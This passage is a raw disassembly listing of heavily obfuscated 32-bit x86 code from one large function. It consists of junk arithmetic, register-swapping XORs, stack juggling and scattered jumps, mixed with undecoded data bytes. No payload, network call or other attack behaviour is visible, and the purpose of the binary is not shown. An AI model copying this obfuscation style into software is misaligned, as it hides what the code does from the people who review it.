		xor	ebp, [esp+7Ah+var_7C+2]
		xor	[esp+7Ah+var_7C+2], ebp
		xor	ebp, [esp+7Ah+var_7C+2]
		pop	esp
		xor	eax, edx
		jmp	loc_566FEC
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 33242C31h, 248B242Ch, 17D66824h, 3DE90000h, 0B50000A5h
		dd 9FD6E97Fh, 3487FFFFh, 0EB315D24h, 4BE9DD31h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C48B:				; CODE XREF: sub_542C3C+2598Bj
		add	esp, 4
		or	ebp, 26BC6A86h
		neg	ebp
		dec	ebp
		sub	esp, 4
		mov	[esp+76h+var_78+2], ebx
		mov	ebx, 2E703CCEh
		or	ebp, ebx
		mov	ebx, [esp+76h+var_78+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+76h+var_78+2], eax
		push	edi
		mov	edi, 13477848h
		mov	eax, 81E9CF8Dh
		sub	eax, edi
		pop	edi
		xor	eax, 765A9Ah
		xor	eax, 0C1A7B102h
		sub	ebp, eax
		pop	eax
		push	ecx
		push	ebp
		jmp	loc_559979
; ---------------------------------------------------------------------------
aYzqsO		db 'YZQé$®',0
		align 10h

loc_55C4E0:				; CODE XREF: sub_542C3C+254C6j
		push	27D01783h
		pop	ebx
		not	ebx
		or	ebx, 0FF965C7h
		dec	ebx
		push	edx
		jmp	loc_55467C
; ---------------------------------------------------------------------------
		db 29h,	0DAh, 8Bh
		dd 0C481241Ch, 4, 0FFE342E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C505:				; CODE XREF: sub_542C3C+2322Fj
		add	cl, 0FFh
		inc	cl
		add	cl, 8Ah
		add	al, cl
		pop	ecx
		push	ecx
		push	3792h
		mov	[esp+82h+var_84+2], ebx
		jmp	loc_560A13
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 0F5A8E924h, 159FFFFh, 3C8B58C1h, 87C6E924h, 0C4810000h
		dd 4, 424748Ah,	2A60E9h, 68D5F600h, 705Fh, 68241C89h, 15A2h
		dd 0B0240489h, 28F7B331h, 0DD0058C3h, 0FFE8305Bh, 83592434h
		dd 0EC8104C4h, 4, 0B5240C89h, 9622E921h, 34310000h, 24343324h
		dd 8924248Bh, 2DB9240Ch, 31192A26h, 2434FFC8h, 0FF2434FFh
		dd 95E92434h, 9000053h,	0FB3559C8h, 15DF357h, 24048BC7h
		dd 4C481h, 29E90000h, 1FFFF7Fh,	3C875AD7h, 24248B24h, 0E92424D3h
		dd 0FFFF6F8Ch
; ---------------------------------------------------------------------------

loc_55C5C0:				; CODE XREF: sub_542C3C+179E5j
		push	[esp+84h+var_80]
		mov	esi, [esp+88h+var_88]
		push	ebx
		push	esp
		pop	ebx
		push	eax
		jmp	loc_55DA2E
; ---------------------------------------------------------------------------

loc_55C5D0:				; CODE XREF: sub_542C3C+19777j
		push	edx
		mov	dl, 0DFh
		shl	dl, 8
		add	dl, 0Ah
		shl	dl, 5
		jmp	loc_55656B
; ---------------------------------------------------------------------------

loc_55C5E1:				; CODE XREF: sub_542C3C+1F90Ej
		and	edi, 2B9224Ch
		and	edi, 6DFA783Bh
		push	edi
		not	[esp+68h+var_68]
		mov	edi, [esp+68h+var_68]
		add	esp, 4
		sub	edi, 0F41DD736h
		sub	ebx, edi
		push	[esp+64h+var_64]
		pop	edi
		add	esp, 4
		jmp	loc_55462F
; ---------------------------------------------------------------------------

loc_55C60E:				; CODE XREF: sub_542C3C+2542Aj
		sub	[esp+60h+var_5C], 9080C3Bh
		jmp	loc_5609D3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 73E92424h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C623:				; CODE XREF: sub_542C3C+13D83j
		mov	[esp+80h+var_80], eax
		xchg	ecx, [esp+80h+var_80]
		not	ecx
		xchg	ecx, [esp+80h+var_80]
		mov	eax, [esp+80h+var_80]
		jmp	loc_5587CC
; ---------------------------------------------------------------------------
		dw 8953h
		dd 0A72EE9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C63E:				; CODE XREF: sub_542C3C+17EBDj
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	eax
		push	ebx
		push	62E10094h
		pop	ebx
		dec	ebx
		jmp	loc_565662
; ---------------------------------------------------------------------------
		dd 0F6FAB850h, 0C131212Dh, 8124048Bh, 4C4h, 0F838E900h
		dd 5259FFFFh, 0B168h, 243C8900h, 865BC1BFh, 0EECFE975h
		dd 6068FFFFh, 89000069h, 0E9502414h, 0FFFFFA47h
; ---------------------------------------------------------------------------

loc_55C68C:				; CODE XREF: sub_542C3C+10911j
		push	37F5h
		mov	[esp+5Ch+var_5C], edx
		mov	dl, 9Fh
		add	dl, 5Dh
		sub	al, 7Bh
		jmp	loc_55B158
; ---------------------------------------------------------------------------

loc_55C6A0:				; CODE XREF: sub_542C3C+24755j
		add	esi, eax
		mov	eax, [esp+5Ch+var_5C]
		add	esp, 4
		push	ecx
		mov	ecx, 223F4092h
		or	ecx, 4D231956h
		xor	ecx, 6F3F59D2h
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp+58h+var_58]
		pop	esp
		mov	[esp+54h+var_54], edi
		push	esi
		mov	esi, 0AAC0F41h
		push	esi
		xor	[esp+5Ch+var_5C], 31EB1EDAh
		pop	edi
		jmp	loc_55D1F7
; ---------------------------------------------------------------------------

loc_55C6D8:				; CODE XREF: sub_542C3C+1C92Fj
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		jmp	loc_553B8C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5C240487h, 724D68h, 86C9E900h, 422C0000h, 0A3E92B2Ch
		dd 66FFFF81h, 50240C8Bh, 582CE9h, 0E0895000h, 405h, 40500h
		dd 4870000h, 48F5C24h, 8444E924h, 0CB800000h, 57E38061h
		dd 0E9C3CB80h, 0FFFFB4EEh, 31241C33h, 1C33241Ch, 24248B24h
		dd 590E6850h, 4890000h,	4290B824h, 44311689h, 34FF0424h
		dd 92EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C752:				; CODE XREF: sub_542C3C+11977j
		xor	esi, edx
		pop	edx
		and	eax, esi
		mov	esi, [esp+78h+var_78]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55A17B
; ---------------------------------------------------------------------------
		dd 0B8240489h, 79B76C45h, 40AAE9h
		db 0
; ---------------------------------------------------------------------------

loc_55C775:				; CODE XREF: sub_542C3C+1D48Dj
		sub	eax, 381345DEh
		mov	edi, [esp+7Ch+var_7C]
		push	7FC5h
		mov	[esp+80h+var_80], ebx
		sub	esp, 4
		mov	[esp+84h+var_84], esp
		push	edx
		mov	edx, 4
		add	[esp+88h+var_84], edx
		pop	edx
		pop	ebx
		push	ebp
		push	esi
		mov	esi, 6DC033C8h
		and	esi, 5CB46D06h
		not	esi
		inc	esi
		add	esi, 6D1F4EEEh
		mov	ebp, esi
		pop	esi
		shl	ebp, 7
		shr	ebp, 5
		and	ebp, 7D911DA7h
		shl	ebp, 1
		add	ebp, 0FFDFD4C4h
		jmp	loc_556021
; ---------------------------------------------------------------------------

loc_55C7C9:				; CODE XREF: sub_542C3C+14B73j
		add	esi, edi
		sub	esi, 742373ECh
		pop	edi
		jmp	loc_55B8A8
; ---------------------------------------------------------------------------
aUsn		db 'UéN:',0
		db 0
; ---------------------------------------------------------------------------

loc_55C7DD:				; CODE XREF: sub_542C3C+1D971j
		mov	ecx, [esp+0AEh+var_AE]
		add	esp, 4
		pop	[esp+0AAh+var_AA]
		jmp	loc_564117
; ---------------------------------------------------------------------------
		db 0B9h
		dd 3B915B78h, 4506E981h, 0CE09C0F1h, 89C68159h,	18142E8h
		dd 0B9515EF3h, 6AC414D0h, 88BC181h, 0C18103D3h,	9168E2A9h
		dd 4B38E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C819:				; CODE XREF: sub_542C3C+12347j
		shr	edi, 7
		and	edi, 34D447BAh
		sub	edi, 4049Ch
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+8Ch+var_8C]
		pop	esp
		or	eax, eax
		jz	loc_5541DF
		push	dword ptr [edi+1Ch]
		push	edx
		push	edi
		push	3442h
		mov	[esp+98h+var_98], ebx
		push	ecx
		jmp	loc_566B3D
; ---------------------------------------------------------------------------
aXsD		db 'Xé¤',0
		align 10h
		dd 4C381h, 0C3810000h, 4, 0A7BAE9h, 0BF574500h,	50361FE6h
		dd 0E3F5C781h, 0EF81F7CCh, 0CAE25CE8h, 3C8BFD29h, 4C48124h
		dd 81000000h, 4ECh, 242C8900h, 0FF8B98E9h, 24048BFFh, 0E9E08950h
		dd 0FFFF9720h, 0B58EE952h, 0C4830000h, 4C48304h, 0FF7285E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C8A9:				; CODE XREF: sub_542C3C+1D35Dj
		sub	al, 5Fh
		add	al, 25h
		push	ecx
		push	eax
		mov	al, 0CBh
		xor	al, 7Ch
		shl	al, 8
		sub	al, 6Ah
		shl	al, 1
		jmp	loc_563CB1
; ---------------------------------------------------------------------------
		db 1
		dd 0B8505FFEh, 4, 0E958C601h, 0FFFF8C6Dh, 0E984C680h, 4385h
		dd 8904EC83h, 2C812404h, 0BD5F1424h, 0C2815A26h, 26BD5F14h
		dd 0F8B95158h, 17A167Ah, 0C28159CAh, 0DEE601Eh,	0EA81FA01h
		dd 0DEE601Eh, 7AF8EA81h, 32FF7A16h, 50EDBA52h, 543113F2h
		dd 0E95A0424h, 1567h, 0E9240489h, 1490h
; ---------------------------------------------------------------------------

loc_55C924:				; CODE XREF: sub_542C3C+1C82Dj
		mov	esi, 4D974251h
		push	ebp
		mov	ebp, 37A81E42h
		shr	ebp, 2
		xor	ebp, 2FEA4EC0h
		jmp	loc_568755
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 0CBE90424h, 58FFFF9Ah, 0D800B304h, 0B8D8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C951:				; CODE XREF: sub_542C3C+22B29j
		sub	ebx, 38B522ABh
		pop	edx
		xor	ebx, 39A37C9Dh
		add	ebx, 0D2450395h
		push	edx
		mov	edx, ebx
		mov	eax, edx
		pop	edx
		mov	ebx, [esp+0A4h+var_A6+2]
		add	esp, 4
		jmp	loc_55FB5D
; ---------------------------------------------------------------------------
		dd offset off_427D68
		dd 7BFEE900h, 68530000h, 653E1C27h, 68241C8Bh, 0B69h, 54241C89h
		dd 20BA525Bh, 42288F14h, 0B316E9h, 10C78100h, 8B47570Ch
		dd 89532404h, 0FE9EE9E3h, 6851FFFFh, 3F7555C7h,	81240C8Bh
		dd 4C4h, 8AC98100h, 813D9F2Dh, 0A10044F1h, 0C8895028h
		dd 5958C589h, 0E95DEE29h, 0FFFFA5A0h
; ---------------------------------------------------------------------------

loc_55C9DC:				; CODE XREF: sub_542C3C+22DB2j
		add	esp, 4
		shr	edx, 1
		or	edx, 6C7D052Ah
		xor	edx, 4CFC748Ch
		jmp	loc_5621B0
; ---------------------------------------------------------------------------
aLSck		db '‹,$éçk',0
		db 0
; ---------------------------------------------------------------------------

loc_55C9FD:				; CODE XREF: sub_542C3C+136B4j
		pop	edx
		jmp	loc_55FFAB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 41E92424h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CA0B:				; CODE XREF: sub_542C3C+12711j
		mov	edx, 5FD17E19h
		mov	ebp, 4718520Fh
		jmp	loc_55F0E1
; ---------------------------------------------------------------------------

loc_55CA1A:				; CODE XREF: sub_542C3C+13301j
		push	eax
		mov	eax, 5C3D3416h
		xor	eax, 347E1A7Fh
		jmp	loc_558861
; ---------------------------------------------------------------------------
		dw 665Dh
		dd 5504E7C1h, 6C89BD66h, 92ED8166h, 0ED816625h,	87663493h
		dd 0D6F766F5h, 5D13E9h
		db 0
; ---------------------------------------------------------------------------

loc_55CA49:				; CODE XREF: sub_542C3C+19415j
		pop	esp
		push	[esp+54h+var_54]
		push	[esp+58h+var_58]
		jmp	loc_558877
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 45h
		dd 0CEEAED81h, 85E98C4Ah, 8B000012h, 89662424h,	0DDE92404h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CA6F:				; CODE XREF: sub_542C3C+24373j
		push	6F7C23ADh
		pop	edx
		add	edx, 9083DC57h
		sub	ebx, 335F4E5Dh
		add	ebx, edx
		push	6122h
		mov	[esp+60h+var_60], ecx
		mov	ecx, 10D352ADh
		not	ecx
		dec	ecx
		shr	ecx, 5
		xor	ecx, 4CCB4DD4h
		push	ebx
		mov	ebx, 78ED66E3h
		xor	ecx, ebx
		pop	ebx
		jmp	loc_562F5F
; ---------------------------------------------------------------------------
		dw 34FFh
aYus		db '$YUé!\',0
		align 4
		dd 9D1C77FFh, 14D25966h, 89E99C24h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CAC3:				; CODE XREF: sub_542C3C+1404Dj
		add	ebp, esi
		pop	esi
		xor	ebp, [esp+80h+var_80]
		jmp	loc_558A5C
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 3E2E0BFh, 6105EF81h,	0DF01756Ah, 0FFA946E9h,	0EBC281FFh
		dd 8B057F76h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_561F4A
; ---------------------------------------------------------------------------
		dd 0F3184ABBh, 6DC6810Fh, 290E6729h, 6DEE81DEh,	8B0E6729h
		dd 55E9241Ch
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CB13:				; CODE XREF: sub_542C3C+250EBj
		push	4E71h
		mov	[esp+88h+var_88], ebx
		push	edx
		jmp	loc_565061
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0D5h
		dd 83FFFFE7h, 0BBE904C4h, 89FFFF85h, 2B9240Ch, 2D000000h
		dd 0D8A01CFh, 0CF05C801h, 590D8A01h, 5C240487h,	3486E9h
		dd 24248900h, 4BF57h, 2DE90000h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55CB5B:				; CODE XREF: sub_542C3C+196A5j
		push	edi
		push	32E04629h
		pop	edi
		add	edi, 45663881h
		jmp	loc_5624EC
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 2C290000h, 6AE95D24h, 0BA000028h, 0F846E9Fh,	77F3EA81h
		dd 65E9744Bh, 5EFFFFE5h, 0F675E935h, 7CA62D7Eh,	94E9F120h
		dd 5F00001Dh, 4906E9C1h, 0DBBF5741h, 811EB72Eh,	8B3620F7h
		dd 3CB1E94Eh, 3C890000h, 6EC6BF24h, 0E9813764h,	42BB2054h
		dd 593FE981h, 1AE93594h, 0C1FFFFB4h, 39E907EFh,	500000ACh
		dd 4B8h, 0B6E95600h, 8100001Eh,	4C5h, 242C8700h, 0E924248Bh
		dd 0FFFFF4A3h
; ---------------------------------------------------------------------------

loc_55CBF0:				; CODE XREF: sub_542C3C+1FFC9j
		pop	edi
		jmp	loc_567DAB
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 2FA3456Eh, 0FFD2E2E9h, 4C481FFh, 33000000h, 0C31240Ch
		dd 240C3324h, 0E924248Bh, 4767h, 54E6ED81h, 0D5015149h
		dd 54E6C581h, 0CDE95149h, 0FF00008Fh, 59042474h, 5C24048Fh
		dd 0E9241489h, 0FFFF82C8h, 1B509FBBh, 41E3812Ah, 0E907E318h
		dd 0B114h
; ---------------------------------------------------------------------------

loc_55CC4C:				; CODE XREF: sub_542C3C+1722Dj
		add	eax, 4
		add	eax, 4
		jmp	loc_5547DD
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 76h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CC5F:				; CODE XREF: sub_542C3C+20D7Cj
		mov	ebx, 13F86ED1h
		jmp	loc_555A1F
; ---------------------------------------------------------------------------
		db 1, 0F8h, 0E9h
		dd 0BF1h, 0AAD685Bh, 14890000h,	0E9EA8824h, 0FFFF9FDBh
		dd 33185C2Dh, 24148B2Fh, 5104C483h, 4B9h, 59C80100h, 31240433h
		dd 4332404h, 7EE95C24h,	89FFFFB6h, 0E789243Ch, 4EC81h
		dd 14890000h, 5E0EBA24h
		db 0E0h, 3
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_562598
; ---------------------------------------------------------------------------
		dd offset dword_445750+1718h
		dw 8900h
		dd 5152242Ch, 861FE955h, 0E689FFFFh, 304CBF57h,	0EF81040Fh
		dd 40F3048h, 835FFE01h,	0FF5604EEh, 5E042474h, 8B24048Fh
		dd 1C892424h, 0B3535024h, 46EB80C4h, 0E9FDE380h, 0FFFFBBB3h
		dd 0FD005DB5h, 52CDFE5Bh, 2D91E9h
		db 0
; ---------------------------------------------------------------------------

loc_55CD19:				; CODE XREF: sub_542C3C+1CEB6j
		sub	eax, 4
		push	eax
		push	[esp+80h+var_7C]
		pop	eax
		pop	[esp+80h+var_80]
		pop	esp
		mov	[esp+78h+var_78], ebp
		mov	ebp, 0A6541A0h
		neg	ebp
		jmp	loc_556082
; ---------------------------------------------------------------------------

loc_55CD35:				; CODE XREF: sub_542C3C+25308j
		mov	edx, [esp+78h+var_78]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5668F3
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 8B240487h, 0E3E9240Ch, 0FFFFFFBCh, 669D1C77h, 241CD359h
		dd 67EAE99Ch, 0CF89FFFFh, 5FF92159h, 4399E9h, 10B56800h
		dd 4890000h, 8EE95424h,	0B9000075h, 476381h, 0BD55E9D1h
		dd 4F682752h, 0F75DE901h, 8CF181D9h, 1CBE149h, 2434FFCFh
		dd 4C48359h, 0FFB6A2E9h, 571ABAFFh, 2DE92860h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55CDAB:				; CODE XREF: sub_542C3C+1E8C4j
		sub	eax, ecx
		pop	ecx
		add	eax, edi
		push	edx
		mov	edx, 52F60602h
		dec	edx
		xor	edx, 0CBB79F2h
		add	eax, edx
		pop	edx
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		add	[ecx], esi
		jmp	loc_560FAC
; ---------------------------------------------------------------------------
		db 1
		dd 0A878E9D7h, 0B850FFFFh, 4, 0E958C201h, 58B8h, 5BE9D5F7h
		dd 5D000064h, 5C24048Fh, 0E953E9F7h, 51DBh, 4C581h, 0C5830000h
		dd 242C8704h, 0FFD3015Ch, 0E95A2434h, 0FFFF6CDDh
; ---------------------------------------------------------------------------

loc_55CE10:				; CODE XREF: sub_542C3C+20481j
		mov	eax, [esp+7Ch+var_7C]
		add	esp, 4
		dec	bl
		add	bl, 0F9h
		add	al, 3Fh
		add	al, bl
		sub	al, 3Fh
		push	[esp+78h+var_78]
		mov	ebx, [esp+7Ch+var_7C]
		add	esp, 4
		add	esp, 4
		pop	cx
		jmp	loc_554674
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0DA9A176Ch, 215AD601h, 24348BF3h, 4C481h, 0EC810000h
		dd 4, 51240489h, 1619B4B9h, 6558E96Eh, 4870000h, 0CC355C24h
		dd 816A607Fh, 4ECh, 24048900h, 0C7240481h, 5B045E71h, 71C7EB81h
		dd 6DE9045Eh, 5F000025h, 5004C483h, 4055854h, 0E9000000h
		dd 0FFFFDB69h, 43DBF75Bh, 0DEF3814Bh, 89CFA9B1h, 89535BD9h
		dd 0A0768CBh, 1C890000h, 0FF5B5A24h, 55592434h,	94BDE9h
		db 0
; ---------------------------------------------------------------------------

loc_55CEB9:				; CODE XREF: sub_542C3C+19769j
		pop	ecx
		jmp	loc_5578FA
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4030543Dh, 815AD501h, 0C103E3EDh, 8505E976h,	5053FFFFh
		dd 0E951F088h, 0FFFFCEB4h, 0C9BEE81h, 335D3EC9h, 34312434h
		dd 24343324h, 43C1685Ch, 0BFE90000h, 0B9FFFF9Bh, 16255764h
		dd 68EEBB53h, 0D931D5C4h, 59CB015Bh, 5116F381h,	0D52D6705h
		dd 2D385772h, 1B446FC2h, 0FF86E7E9h, 58EE81FFh,	13E4239h
		dd 15CE9C6h, 0D1290000h, 8A28E95Ah, 4310000h, 24043324h
		dd 1168525Ch, 0E9000040h, 0FFFFECBFh, 5302C483h, 98B05051h
		dd 0CBE91BB1h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CF53:				; CODE XREF: sub_542C3C+18C72j
		push	5E51h
		mov	[esp+84h+var_84], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+84h+var_84]
		mov	esp, [esp+84h+var_84]
		mov	[esp+84h+var_84], edx
		mov	edx, 1B271F96h
		add	ebx, 107C7395h
		jmp	loc_563E11
; ---------------------------------------------------------------------------

loc_55CF80:				; CODE XREF: sub_542C3C+15AF5j
		sub	edx, esi
		push	ebp
		mov	ebp, 334566Fh
		jmp	loc_55F05F
; ---------------------------------------------------------------------------
		db 5Eh,	5Ah, 81h
		dd 4C2h, 0ABFE900h, 0C4830000h,	4C38104h, 87000000h, 0F75C241Ch
		dd 0A45CE9F9h, 48F0000h, 0B647E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CFB6:				; CODE XREF: sub_542C3C+22E75j
		mov	eax, 304C5ACCh
		sub	eax, ebx
		jmp	loc_5609B2
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 0FFA284E9h, 632268FFh, 4890000h, 68E08924h
		dd 6DACh, 9974E9h
		db 0
; ---------------------------------------------------------------------------

loc_55CFE1:				; CODE XREF: sub_542C3C+2457Bj
		add	edi, ebp
		sub	edi, 1D2C151Bh
		push	ebp
		mov	ebp, 43F12D48h
		shl	ebp, 2
		dec	ebp
		neg	ebp
		add	ebp, 17BF0BF7h
		jmp	loc_55BF9A
; ---------------------------------------------------------------------------
		dd 0C381D3F7h, 733553FFh, 3057CB81h, 0EC8167C7h, 4, 1671E9h
		dd 4C58100h, 83000000h,	2C8704C5h, 0CF50E924h, 77FFFFFFh
		dd 651AE92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D032:				; CODE XREF: sub_542C3C+1C4B9j
		shl	edi, 7
		shr	edi, 4
		inc	edi
		add	edi, 0FE0CBB39h
		sub	ecx, edi
		pop	edi
		or	ebp, ecx
		pop	ecx
		jmp	loc_5673C2
; ---------------------------------------------------------------------------
		dw 1C8Bh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 64087100h
		or	eax, 45275118h
		jmp	loc_55E7A4
; ---------------------------------------------------------------------------

loc_55D066:				; CODE XREF: sub_542C3C+16041j
		sub	ecx, 4DC2044Fh
		jmp	loc_55BA41
; ---------------------------------------------------------------------------

loc_55D071:				; CODE XREF: sub_542C3C+197F4j
		xor	edx, 51180004h
		add	ecx, edx
		pop	edx
		push	ecx
		jmp	loc_55D759
; ---------------------------------------------------------------------------
		dd 0FCE7E958h, 0C681FFFFh, 3E423958h, 69ADEE81h, 0E9587A35h
		dd 3F5Dh, 5B93BF57h, 474F6F63h,	5918C781h, 0CF811FE6h
		dd 2EC43DBCh, 0BDBBEF81h, 0F889AFCDh, 8DF7E95Fh, 0A6B9FFFFh
		dd 5663A613h, 2A32B3BEh, 34F3BB6Dh, 0F3291AA0h,	59CB015Eh
		dd 32A8E381h, 0F3814C27h, 410A4h, 0DCBE955h, 0C3810000h
		dd 54A2D32h, 53FFC383h,	33243C31h, 0BEE9243Ch
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D0F7:				; CODE XREF: sub_542C3C+162FDj
		add	esp, 4
		xchg	eax, ebx
		push	edx
		push	ebx
		jmp	loc_553DCB
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0AFA0E924h, 8956FFFFh, 4B951E6h, 1000000h, 515259CEh
		dd 0FF8BB2E9h, 7EAC1FFh, 0A8AAC281h, 0D001FEDBh, 0FFF5B6E9h
		dd 0FBC981FFh, 81081C78h, 0F8A50FF1h, 0A551E9F9h, 0EA81FFFFh
		dd 3F9D4DB9h, 312FC281h, 0C2011237h, 312FEA81h,	4D681237h
		dd 89000054h, 0B9BF243Ch, 13F9D4Dh, 0BD555FFAh,	696A26A7h
		dd 3DEACD81h, 56E933DFh, 50000054h, 405E089h, 52000000h
		dd 94506A68h, 0CA815A4Dh, 65D012C9h, 0E9DAF742h, 0FFFFFF8Dh
		dd 0D7EA8159h, 81636D3Fh, 136432EAh, 81EA291Eh,	136432C2h
		dd 0D7C2811Eh, 5D636D3Fh, 9029E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D1B1:				; CODE XREF: sub_542C3C+23B08j
		add	esp, 4
		jmp	loc_55FE79
; ---------------------------------------------------------------------------

loc_55D1BC:				; CODE XREF: sub_542C3C+21462j
		pop	ecx
		jmp	loc_558725
; ---------------------------------------------------------------------------

loc_55D1C2:				; CODE XREF: sub_542C3C+12E60j
		dec	ebx
		jmp	loc_56197A
; ---------------------------------------------------------------------------

loc_55D1C8:				; CODE XREF: sub_542C3C+172E2j
		push	[esp+6Ch+var_6C]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5580C7
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFD88Eh, 0E0F1815Eh, 890D0D49h, 733559C8h, 3170A203h
		dd 0D7E958C3h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D1F7:				; CODE XREF: sub_542C3C+19A97j
		xor	edi, 31EB1EDAh
		jmp	loc_5578AC
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 251A5A75h, 0EF81C701h, 251A5A75h, 0D5C18158h, 8150A82Eh
		dd 4E2494E9h, 0E9F90134h, 5F3Ah, 4BD55h, 55500000h, 614CE9h
		db 0
; ---------------------------------------------------------------------------

loc_55D231:				; CODE XREF: sub_542C3C+141B6j
		mov	esi, [esp+8Ch+var_8C]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_5612A3
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 86DC281h,	0EA816B36h, 53717588h, 7F9AE9h,	241C8900h
		dd 0FFBB7CE9h, 243487FFh, 12F9685Ch, 2C890000h,	78846824h
		dd 0AEE90000h, 6600005Fh, 50240C8Bh, 5404EC83h,	8324048Fh
		dd 58042404h, 4EC8151h,	89000000h, 0BF572434h, 6B2D177Ch
		dd 68DDE781h, 0F7873BFCh, 0FF9972E9h, 8036B2FFh, 0D9E914EAh
		dd 8B000037h, 89502404h, 405E0h, 4050000h, 0E9000000h
		dd 0FFFFFB9Ah
; ---------------------------------------------------------------------------

loc_55D2C4:				; CODE XREF: sub_542C3C+18CB7j
		mov	[esp+48h+var_48], ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 3C72675h
		not	eax
		or	eax, 7E360B0h
		not	eax
		inc	eax
		jmp	loc_55BE91
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 0E3C05AD5h, 9680E903h, 34FF0000h, 5F685824h,	89000044h
		dd 0D3E9242Ch, 3000002Dh, 4EC83C3h, 0FFEE78E9h,	0C78957FFh
		dd 0E95FFE89h, 0FFFFABD8h
; ---------------------------------------------------------------------------

loc_55D310:				; CODE XREF: sub_542C3C+17BA2j
		mov	word ptr [esp+82h+var_84+2], dx
		mov	dl, 0ADh
		push	ecx
		mov	ch, 2Eh
		add	al, ch
		jmp	loc_55B945
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFE1B5h, 4EC81h, 1C890000h, 0ECE6824h
		dd 535B7223h, 0C73978BBh, 2444813Fh, 0FE411408h, 24448133h
		dd 0C7660A08h, 245C0105h, 9C9EE908h, 34FF0000h,	57505824h
		dd 0C781E789h, 4, 4EF81h, 3C330000h, 243C3124h,	5C243C33h
		dd 0C14DE954h, 94BDFFFFh, 0C17F3E71h, 0CAE908E5h, 89000092h
		dd 0EB015FFBh, 0E92434FFh, 478Fh, 66241C89h, 8966EB89h
		dd 8B665BD8h, 0C483242Ch, 0E0C16602h, 492D6605h, 6648662Fh
		dd 6655D0F7h, 665DF2BDh, 8166E5D1h, 667ACCF5h, 6606EDC1h
		dd 0C33F581h, 5DE80166h, 9647E9h, 5FB6800h, 1C890000h
		dd 2474FF24h, 0CBE95B04h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D3E3:				; CODE XREF: sub_542C3C+1B53Aj
		push	edx
		mov	edx, 18862AF9h
		add	edx, 0FFFFFFFFh
		jmp	loc_55F30C
; ---------------------------------------------------------------------------
aS_5		db '[é<\',0
		align 2

loc_55D3FA:				; CODE XREF: sub_542C3C+220D7j
		pop	ebx
		add	esp, 4
		jmp	loc_55E692
; ---------------------------------------------------------------------------
aVsvb		db 'Vév¡',0
		db 0
; ---------------------------------------------------------------------------

loc_55D409:				; CODE XREF: sub_542C3C+12747j
		mov	ebp, [esp+94h+var_94]
		add	esp, 4
		jmp	loc_55F166
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5304EBh, 5B042474h, 5C24048Fh, 7A25E954h,	0C4810000h
		dd 4, 632FE959h, 0DF010000h, 6E4DC781h,	3BE94067h, 80FFFF9Ch
		dd 0B60F64C3h, 87048FC0h, 3028E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D451:				; CODE XREF: sub_542C3C+20BCDj
		dec	ebx
		push	edx
		mov	edx, 1DE38AAh
